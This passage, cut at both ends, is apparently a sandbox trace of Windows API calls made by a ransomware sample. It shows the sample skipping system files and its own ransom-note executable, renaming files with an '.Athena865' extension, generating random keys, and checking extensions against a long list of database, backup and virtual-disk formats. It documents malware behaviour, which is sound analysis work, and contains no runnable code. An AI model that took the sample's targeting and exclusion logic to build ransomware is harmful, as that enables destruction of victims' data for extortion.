lpFileSize=0x241e418*=10340) returned 1 [0116.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.484] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.485] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.485] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.485] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b70, lpName=0x0) returned 0x154 [0116.487] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2b70) returned 0x100000 [0116.492] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.493] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.493] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.494] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.494] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.494] CloseHandle (hObject=0x154) returned 1 [0116.494] CloseHandle (hObject=0x17c) returned 1 [0116.494] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.494] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.494] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.494] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0116.494] lstrcmpiW (lpString1="Graph.emf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.494] lstrcmpiW (lpString1="Graph.emf", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.494] lstrcmpiW (lpString1="Graph.emf", lpString2=".") returned 1 [0116.494] lstrcmpiW (lpString1="Graph.emf", lpString2="..") returned 1 [0116.494] lstrcmpiW (lpString1="Graph.emf", lpString2="windows") returned -1 [0116.494] lstrcmpiW (lpString1="Graph.emf", lpString2="bootmgr") returned 1 [0116.494] lstrcmpiW (lpString1="Graph.emf", lpString2="temp") returned -1 [0116.494] lstrcmpiW (lpString1="Graph.emf", lpString2="pagefile.sys") returned -1 [0116.494] lstrcmpiW (lpString1="Graph.emf", lpString2="boot") returned 1 [0116.494] lstrcmpiW (lpString1="Graph.emf", lpString2="ids.txt") returned -1 [0116.494] lstrcmpiW (lpString1="Graph.emf", lpString2="ntuser.dat") returned -1 [0116.495] lstrcmpiW (lpString1="Graph.emf", lpString2="perflogs") returned -1 [0116.495] lstrcmpiW (lpString1="Graph.emf", lpString2="MSBuild") returned -1 [0116.495] lstrlenW (lpString="Graph.emf") returned 9 [0116.495] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Graph.emf" | out: lpString1="Graph.emf") returned="Graph.emf" [0116.495] lstrlenW (lpString="Graph.emf") returned 9 [0116.495] lstrlenW (lpString="Athena865") returned 9 [0116.495] lstrlenW (lpString=".dll") returned 4 [0116.495] lstrcmpiW (lpString1="Graph.emf", lpString2=".dll") returned 1 [0116.495] lstrlenW (lpString=".lnk") returned 4 [0116.495] lstrcmpiW (lpString1="Graph.emf", lpString2=".lnk") returned 1 [0116.495] lstrlenW (lpString=".ini") returned 4 [0116.495] lstrcmpiW (lpString1="Graph.emf", lpString2=".ini") returned 1 [0116.495] lstrlenW (lpString=".sys") returned 4 [0116.495] lstrcmpiW (lpString1="Graph.emf", lpString2=".sys") returned 1 [0116.495] lstrlenW (lpString="Graph.emf") returned 9 [0116.495] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.Athena865") returned 77 [0116.495] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.athena865"), dwFlags=0x1) returned 1 [0116.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.496] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=116724) returned 1 [0116.496] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.496] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.496] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.497] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.497] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.497] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.497] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1cb00, lpName=0x0) returned 0x154 [0116.500] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1cb00) returned 0x100000 [0116.521] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.521] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.521] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.522] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.523] CloseHandle (hObject=0x154) returned 1 [0116.523] CloseHandle (hObject=0x17c) returned 1 [0116.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.524] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0116.524] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.524] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.524] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".") returned 1 [0116.524] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="..") returned 1 [0116.524] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="windows") returned -1 [0116.524] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="bootmgr") returned 1 [0116.524] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="temp") returned -1 [0116.524] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="pagefile.sys") returned -1 [0116.524] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="boot") returned 1 [0116.524] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="ids.txt") returned -1 [0116.524] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="ntuser.dat") returned -1 [0116.524] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="perflogs") returned -1 [0116.524] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="MSBuild") returned -1 [0116.524] lstrlenW (lpString="Green Bubbles.htm") returned 17 [0116.524] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Green Bubbles.htm" | out: lpString1="Green Bubbles.htm") returned="Green Bubbles.htm" [0116.524] lstrlenW (lpString="Green Bubbles.htm") returned 17 [0116.524] lstrlenW (lpString="Athena865") returned 9 [0116.524] lstrcmpiW (lpString1="bbles.htm", lpString2="Athena865") returned 1 [0116.524] lstrlenW (lpString=".dll") returned 4 [0116.524] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".dll") returned 1 [0116.525] lstrlenW (lpString=".lnk") returned 4 [0116.525] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".lnk") returned 1 [0116.525] lstrlenW (lpString=".ini") returned 4 [0116.525] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".ini") returned 1 [0116.525] lstrlenW (lpString=".sys") returned 4 [0116.525] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".sys") returned 1 [0116.525] lstrlenW (lpString="Green Bubbles.htm") returned 17 [0116.525] lstrlenW (lpString="bak") returned 3 [0116.525] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1 [0116.525] lstrlenW (lpString="ba_") returned 3 [0116.525] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1 [0116.525] lstrlenW (lpString="dbb") returned 3 [0116.525] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1 [0116.525] lstrlenW (lpString="vmdk") returned 4 [0116.525] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1 [0116.525] lstrlenW (lpString="rar") returned 3 [0116.525] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1 [0116.525] lstrlenW (lpString="zip") returned 3 [0116.525] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1 [0116.525] lstrlenW (lpString="tgz") returned 3 [0116.525] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1 [0116.525] lstrlenW (lpString="vbox") returned 4 [0116.525] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1 [0116.525] lstrlenW (lpString="vdi") returned 3 [0116.525] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1 [0116.525] lstrlenW (lpString="vhd") returned 3 [0116.525] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1 [0116.525] lstrlenW (lpString="vhdx") returned 4 [0116.525] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1 [0116.525] lstrlenW (lpString="avhd") returned 4 [0116.525] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1 [0116.526] lstrlenW (lpString="db") returned 2 [0116.526] lstrcmpiW (lpString1="tm", lpString2="db") returned 1 [0116.526] lstrlenW (lpString="db2") returned 3 [0116.526] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1 [0116.526] lstrlenW (lpString="db3") returned 3 [0116.526] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1 [0116.526] lstrlenW (lpString="dbf") returned 3 [0116.526] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1 [0116.526] lstrlenW (lpString="mdf") returned 3 [0116.526] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1 [0116.526] lstrlenW (lpString="mdb") returned 3 [0116.526] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1 [0116.526] lstrlenW (lpString="sql") returned 3 [0116.526] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1 [0116.526] lstrlenW (lpString="sqlite") returned 6 [0116.526] lstrcmpiW (lpString1="es.htm", lpString2="sqlite") returned -1 [0116.526] lstrlenW (lpString="sqlite3") returned 7 [0116.526] lstrcmpiW (lpString1="les.htm", lpString2="sqlite3") returned -1 [0116.526] lstrlenW (lpString="sqlitedb") returned 8 [0116.526] lstrcmpiW (lpString1="bles.htm", lpString2="sqlitedb") returned -1 [0116.526] lstrlenW (lpString="xml") returned 3 [0116.526] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1 [0116.526] lstrlenW (lpString="$er") returned 3 [0116.526] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1 [0116.526] lstrlenW (lpString="4dd") returned 3 [0116.526] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1 [0116.526] lstrlenW (lpString="4dl") returned 3 [0116.526] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1 [0116.526] lstrlenW (lpString="^^^") returned 3 [0116.526] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1 [0116.527] lstrlenW (lpString="abs") returned 3 [0116.527] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1 [0116.527] lstrlenW (lpString="abx") returned 3 [0116.527] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1 [0116.527] lstrlenW (lpString="accdb") returned 5 [0116.527] lstrcmpiW (lpString1="s.htm", lpString2="accdb") returned 1 [0116.527] lstrlenW (lpString="accdc") returned 5 [0116.527] lstrcmpiW (lpString1="s.htm", lpString2="accdc") returned 1 [0116.527] lstrlenW (lpString="accde") returned 5 [0116.527] lstrcmpiW (lpString1="s.htm", lpString2="accde") returned 1 [0116.527] lstrlenW (lpString="accdr") returned 5 [0116.527] lstrcmpiW (lpString1="s.htm", lpString2="accdr") returned 1 [0116.527] lstrlenW (lpString="accdt") returned 5 [0116.527] lstrcmpiW (lpString1="s.htm", lpString2="accdt") returned 1 [0116.527] lstrlenW (lpString="accdw") returned 5 [0116.527] lstrcmpiW (lpString1="s.htm", lpString2="accdw") returned 1 [0116.527] lstrlenW (lpString="accft") returned 5 [0116.527] lstrcmpiW (lpString1="s.htm", lpString2="accft") returned 1 [0116.527] lstrlenW (lpString="adb") returned 3 [0116.527] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0116.527] lstrlenW (lpString="adb") returned 3 [0116.527] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0116.527] lstrlenW (lpString="ade") returned 3 [0116.527] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1 [0116.527] lstrlenW (lpString="adf") returned 3 [0116.527] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1 [0116.527] lstrlenW (lpString="adn") returned 3 [0116.527] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1 [0116.527] lstrlenW (lpString="adp") returned 3 [0116.527] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1 [0116.528] lstrlenW (lpString="alf") returned 3 [0116.528] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1 [0116.528] lstrlenW (lpString="ask") returned 3 [0116.528] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1 [0116.528] lstrlenW (lpString="btr") returned 3 [0116.528] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1 [0116.528] lstrlenW (lpString="cat") returned 3 [0116.528] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1 [0116.528] lstrlenW (lpString="cdb") returned 3 [0116.528] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1 [0116.528] lstrlenW (lpString="ckp") returned 3 [0116.528] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1 [0116.528] lstrlenW (lpString="cma") returned 3 [0116.528] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1 [0116.528] lstrlenW (lpString="cpd") returned 3 [0116.528] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1 [0116.528] lstrlenW (lpString="dacpac") returned 6 [0116.528] lstrcmpiW (lpString1="es.htm", lpString2="dacpac") returned 1 [0116.528] lstrlenW (lpString="dad") returned 3 [0116.528] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1 [0116.528] lstrlenW (lpString="dadiagrams") returned 10 [0116.528] lstrcmpiW (lpString1="ubbles.htm", lpString2="dadiagrams") returned 1 [0116.528] lstrlenW (lpString="daschema") returned 8 [0116.528] lstrcmpiW (lpString1="bles.htm", lpString2="daschema") returned -1 [0116.528] lstrlenW (lpString="db-journal") returned 10 [0116.528] lstrcmpiW (lpString1="ubbles.htm", lpString2="db-journal") returned 1 [0116.528] lstrlenW (lpString="db-shm") returned 6 [0116.528] lstrcmpiW (lpString1="es.htm", lpString2="db-shm") returned 1 [0116.528] lstrlenW (lpString="db-wal") returned 6 [0116.528] lstrcmpiW (lpString1="es.htm", lpString2="db-wal") returned 1 [0116.529] lstrlenW (lpString="dbc") returned 3 [0116.529] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1 [0116.529] lstrlenW (lpString="dbs") returned 3 [0116.529] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1 [0116.529] lstrlenW (lpString="dbt") returned 3 [0116.529] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1 [0116.529] lstrlenW (lpString="dbv") returned 3 [0116.529] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1 [0116.529] lstrlenW (lpString="dbx") returned 3 [0116.529] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1 [0116.529] lstrlenW (lpString="dcb") returned 3 [0116.529] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1 [0116.529] lstrlenW (lpString="dct") returned 3 [0116.529] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1 [0116.529] lstrlenW (lpString="dcx") returned 3 [0116.529] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1 [0116.529] lstrlenW (lpString="ddl") returned 3 [0116.529] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1 [0116.529] lstrlenW (lpString="dlis") returned 4 [0116.529] lstrcmpiW (lpString1=".htm", lpString2="dlis") returned -1 [0116.529] lstrlenW (lpString="dp1") returned 3 [0116.529] lstrcmpiW (lpString1="htm", lpString2="dp1") returned 1 [0116.529] lstrlenW (lpString="dqy") returned 3 [0116.529] lstrcmpiW (lpString1="htm", lpString2="dqy") returned 1 [0116.529] lstrlenW (lpString="dsk") returned 3 [0116.529] lstrcmpiW (lpString1="htm", lpString2="dsk") returned 1 [0116.529] lstrlenW (lpString="dsn") returned 3 [0116.529] lstrcmpiW (lpString1="htm", lpString2="dsn") returned 1 [0116.529] lstrlenW (lpString="dtsx") returned 4 [0116.529] lstrcmpiW (lpString1=".htm", lpString2="dtsx") returned -1 [0116.529] lstrlenW (lpString="dxl") returned 3 [0116.529] lstrcmpiW (lpString1="htm", lpString2="dxl") returned 1 [0116.530] lstrlenW (lpString="eco") returned 3 [0116.530] lstrcmpiW (lpString1="htm", lpString2="eco") returned 1 [0116.530] lstrlenW (lpString="ecx") returned 3 [0116.530] lstrcmpiW (lpString1="htm", lpString2="ecx") returned 1 [0116.530] lstrlenW (lpString="edb") returned 3 [0116.530] lstrcmpiW (lpString1="htm", lpString2="edb") returned 1 [0116.530] lstrlenW (lpString="epim") returned 4 [0116.530] lstrcmpiW (lpString1=".htm", lpString2="epim") returned -1 [0116.530] lstrlenW (lpString="fcd") returned 3 [0116.530] lstrcmpiW (lpString1="htm", lpString2="fcd") returned 1 [0116.530] lstrlenW (lpString="fdb") returned 3 [0116.530] lstrcmpiW (lpString1="htm", lpString2="fdb") returned 1 [0116.530] lstrlenW (lpString="fic") returned 3 [0116.530] lstrcmpiW (lpString1="htm", lpString2="fic") returned 1 [0116.530] lstrlenW (lpString="flexolibrary") returned 12 [0116.530] lstrcmpiW (lpString1=" Bubbles.htm", lpString2="flexolibrary") returned -1 [0116.530] lstrlenW (lpString="fm5") returned 3 [0116.530] lstrcmpiW (lpString1="htm", lpString2="fm5") returned 1 [0116.530] lstrlenW (lpString="fmp") returned 3 [0116.530] lstrcmpiW (lpString1="htm", lpString2="fmp") returned 1 [0116.530] lstrlenW (lpString="fmp12") returned 5 [0116.530] lstrcmpiW (lpString1="s.htm", lpString2="fmp12") returned 1 [0116.530] lstrlenW (lpString="fmpsl") returned 5 [0116.530] lstrcmpiW (lpString1="s.htm", lpString2="fmpsl") returned 1 [0116.530] lstrlenW (lpString="fol") returned 3 [0116.530] lstrcmpiW (lpString1="htm", lpString2="fol") returned 1 [0116.530] lstrlenW (lpString="fp3") returned 3 [0116.530] lstrcmpiW (lpString1="htm", lpString2="fp3") returned 1 [0116.530] lstrlenW (lpString="fp4") returned 3 [0116.530] lstrcmpiW (lpString1="htm", lpString2="fp4") returned 1 [0116.530] lstrlenW (lpString="fp5") returned 3 [0116.531] lstrcmpiW (lpString1="htm", lpString2="fp5") returned 1 [0116.531] lstrlenW (lpString="fp7") returned 3 [0116.531] lstrcmpiW (lpString1="htm", lpString2="fp7") returned 1 [0116.531] lstrlenW (lpString="fpt") returned 3 [0116.531] lstrcmpiW (lpString1="htm", lpString2="fpt") returned 1 [0116.531] lstrlenW (lpString="frm") returned 3 [0116.531] lstrcmpiW (lpString1="htm", lpString2="frm") returned 1 [0116.531] lstrlenW (lpString="gdb") returned 3 [0116.531] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1 [0116.531] lstrlenW (lpString="gdb") returned 3 [0116.531] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1 [0116.531] lstrlenW (lpString="grdb") returned 4 [0116.531] lstrcmpiW (lpString1=".htm", lpString2="grdb") returned -1 [0116.531] lstrlenW (lpString="gwi") returned 3 [0116.531] lstrcmpiW (lpString1="htm", lpString2="gwi") returned 1 [0116.531] lstrlenW (lpString="hdb") returned 3 [0116.531] lstrcmpiW (lpString1="htm", lpString2="hdb") returned 1 [0116.531] lstrlenW (lpString="his") returned 3 [0116.531] lstrcmpiW (lpString1="htm", lpString2="his") returned 1 [0116.531] lstrlenW (lpString="ib") returned 2 [0116.531] lstrcmpiW (lpString1="tm", lpString2="ib") returned 1 [0116.531] lstrlenW (lpString="idb") returned 3 [0116.531] lstrcmpiW (lpString1="htm", lpString2="idb") returned -1 [0116.531] lstrlenW (lpString="ihx") returned 3 [0116.531] lstrcmpiW (lpString1="htm", lpString2="ihx") returned -1 [0116.531] lstrlenW (lpString="itdb") returned 4 [0116.531] lstrcmpiW (lpString1=".htm", lpString2="itdb") returned -1 [0116.531] lstrlenW (lpString="itw") returned 3 [0116.531] lstrcmpiW (lpString1="htm", lpString2="itw") returned -1 [0116.531] lstrlenW (lpString="jet") returned 3 [0116.532] lstrcmpiW (lpString1="htm", lpString2="jet") returned -1 [0116.532] lstrlenW (lpString="jtx") returned 3 [0116.532] lstrcmpiW (lpString1="htm", lpString2="jtx") returned -1 [0116.532] lstrlenW (lpString="kdb") returned 3 [0116.532] lstrcmpiW (lpString1="htm", lpString2="kdb") returned -1 [0116.532] lstrlenW (lpString="kexi") returned 4 [0116.532] lstrcmpiW (lpString1=".htm", lpString2="kexi") returned -1 [0116.532] lstrlenW (lpString="kexic") returned 5 [0116.532] lstrcmpiW (lpString1="s.htm", lpString2="kexic") returned 1 [0116.532] lstrlenW (lpString="kexis") returned 5 [0116.532] lstrcmpiW (lpString1="s.htm", lpString2="kexis") returned 1 [0116.532] lstrlenW (lpString="lgc") returned 3 [0116.532] lstrcmpiW (lpString1="htm", lpString2="lgc") returned -1 [0116.532] lstrlenW (lpString="lwx") returned 3 [0116.532] lstrcmpiW (lpString1="htm", lpString2="lwx") returned -1 [0116.532] lstrlenW (lpString="maf") returned 3 [0116.532] lstrcmpiW (lpString1="htm", lpString2="maf") returned -1 [0116.532] lstrlenW (lpString="maq") returned 3 [0116.532] lstrcmpiW (lpString1="htm", lpString2="maq") returned -1 [0116.532] lstrlenW (lpString="mar") returned 3 [0116.532] lstrcmpiW (lpString1="htm", lpString2="mar") returned -1 [0116.532] lstrlenW (lpString="marshal") returned 7 [0116.532] lstrcmpiW (lpString1="les.htm", lpString2="marshal") returned -1 [0116.532] lstrlenW (lpString="mas") returned 3 [0116.532] lstrcmpiW (lpString1="htm", lpString2="mas") returned -1 [0116.532] lstrlenW (lpString="mav") returned 3 [0116.532] lstrcmpiW (lpString1="htm", lpString2="mav") returned -1 [0116.532] lstrlenW (lpString="maw") returned 3 [0116.532] lstrcmpiW (lpString1="htm", lpString2="maw") returned -1 [0116.532] lstrlenW (lpString="mdbhtml") returned 7 [0116.532] lstrcmpiW (lpString1="les.htm", lpString2="mdbhtml") returned -1 [0116.533] lstrlenW (lpString="mdn") returned 3 [0116.533] lstrcmpiW (lpString1="htm", lpString2="mdn") returned -1 [0116.533] lstrlenW (lpString="mdt") returned 3 [0116.533] lstrcmpiW (lpString1="htm", lpString2="mdt") returned -1 [0116.533] lstrlenW (lpString="mfd") returned 3 [0116.533] lstrcmpiW (lpString1="htm", lpString2="mfd") returned -1 [0116.533] lstrlenW (lpString="mpd") returned 3 [0116.533] lstrcmpiW (lpString1="htm", lpString2="mpd") returned -1 [0116.533] lstrlenW (lpString="mrg") returned 3 [0116.533] lstrcmpiW (lpString1="htm", lpString2="mrg") returned -1 [0116.533] lstrlenW (lpString="mud") returned 3 [0116.533] lstrcmpiW (lpString1="htm", lpString2="mud") returned -1 [0116.533] lstrlenW (lpString="mwb") returned 3 [0116.533] lstrcmpiW (lpString1="htm", lpString2="mwb") returned -1 [0116.533] lstrlenW (lpString="myd") returned 3 [0116.533] lstrcmpiW (lpString1="htm", lpString2="myd") returned -1 [0116.533] lstrlenW (lpString="ndf") returned 3 [0116.533] lstrcmpiW (lpString1="htm", lpString2="ndf") returned -1 [0116.533] lstrlenW (lpString="nnt") returned 3 [0116.533] lstrcmpiW (lpString1="htm", lpString2="nnt") returned -1 [0116.533] lstrlenW (lpString="nrmlib") returned 6 [0116.533] 